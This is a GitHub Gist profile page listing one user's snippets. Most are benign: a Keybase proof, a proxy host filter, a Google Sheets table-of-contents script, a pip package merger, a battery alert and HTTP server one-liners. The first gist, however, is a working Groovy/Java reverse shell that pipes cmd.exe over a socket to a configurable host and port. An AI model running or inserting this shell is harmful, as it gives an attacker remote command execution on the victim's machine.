Skip to content

Instantly share code, notes, and snippets.

View marksowell's full-sized avatar
💻
Focusing

Mark Sowell marksowell

💻
Focusing
View GitHub Profile
@marksowell
marksowell / revsh.groovy
Last active May 14, 2021 05:30 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@marksowell
marksowell / keybase.md
Last active September 29, 2021 20:21
keybase.md

Keybase proof

I hereby claim:

  • I am marksowell on github.
  • I am marksowell (https://keybase.io/marksowell) on keybase.
  • I have a public key whose fingerprint is C2CC B033 5A63 1A81 8419 6860 4727 1CA7 0D99 8386

To claim this, I am signing this object:

@marksowell
marksowell / akto-filter.txt
Last active March 18, 2023 04:19
Logger++ / Akto Filter
[{"name":"ms","filter":{"filter":"!(Request.Host CONTAINS \"google.com\" AND !(Request.Host CONTAINS \"facebook.com\") AND !(Request.Host CONTAINS \"gstatic.com\") AND !(Request.Host CONTAINS \"googletagmanager.com\") AND !(Request.Host CONTAINS \"wappalyzer.com\") AND !(Request.Host CONTAINS \"bitwarden.com\") AND !(Request.Host CONTAINS \"googleapis.com\") AND !(Request.Host CONTAINS \"google-analytics.com\") AND !(Request.Host CONTAINS \"doubleclick.net\") AND Request.Complete == true"},"filterString":"!(Request.Host CONTAINS \"google.com\") AND !(Request.Host CONTAINS \"facebook.com\") AND !(Request.Host CONTAINS \"gstatic.com\") AND !(Request.Host CONTAINS \"googletagmanager.com\") AND !(Request.Host CONTAINS \"wappalyzer.com\") AND !(Request.Host CONTAINS \"bitwarden.com\") AND !(Request.Host CONTAINS \"googleapis.com\") AND !(Request.Host CONTAINS \"google-analytics.com\") AND !(Request.Host CONTAINS \"doubleclick.net\") AND Request.Complete == true"}]
@marksowell
marksowell / gist:f6ed97a3faacd24ee784226113c67142
Created June 21, 2023 15:56
Google Apps Script to Create a Table of Contents in Google Sheets
function createTOC() {
var ss = SpreadsheetApp.getActiveSpreadsheet();
var sheets = ss.getSheets();
// Create a new sheet called "TOC" or set it as the first sheet
var sheet = ss.getSheetByName("TOC") || ss.insertSheet("TOC", 0);
sheet.clear(); // Clear the TOC sheet
if(sheet.getMaxColumns() > 1){
sheet.hideColumns(2, sheet.getMaxColumns() - 1);
}
// Set the header for the TOC
@marksowell
marksowell / pip-merge.py
Created September 2, 2023 19:17
Migrate pip packages when upgrading Python
# Open both files and read lines
with open("old-packages.txt", "r") as f:
old_packages = f.readlines()
with open("new-packages.txt", "r") as f:
new_packages = f.readlines()
# Convert lines to dictionary format for easy lookup and merging
old_dict = {pkg.split('==')[0]: pkg.split('==')[1].strip() for pkg in old_packages}
new_dict = {pkg.split('==')[0]: pkg.split('==')[1].strip() for pkg in new_packages}
@marksowell
marksowell / init.lua
Last active September 3, 2023 03:01
Hammerspoon macOS Battery Percentage <=10% Alert
local alertShown = false
function checkBatteryStatus()
local currentCapacitymAh = hs.battery.capacity()
local maxCapacitymAh = hs.battery.maxCapacity()
local currentCapacityPercentage = (currentCapacitymAh / maxCapacitymAh) * 100
local isCharging = hs.battery.isCharging()
if currentCapacityPercentage <= 5 and not alertShown then
hs.alert.show("Battery capacity <= 5%!", 500.0) -- 500 seconds duration for the alert
alertShown = true
@marksowell
marksowell / Simple-HTTP-Servers.md
Last active January 8, 2025 23:22
Simple HTTP Servers in Various Languages and Tools

Simple HTTP Servers in Various Languages and Tools

Python

python -m http.server 8000

Serves the current directory on port 8000.

Go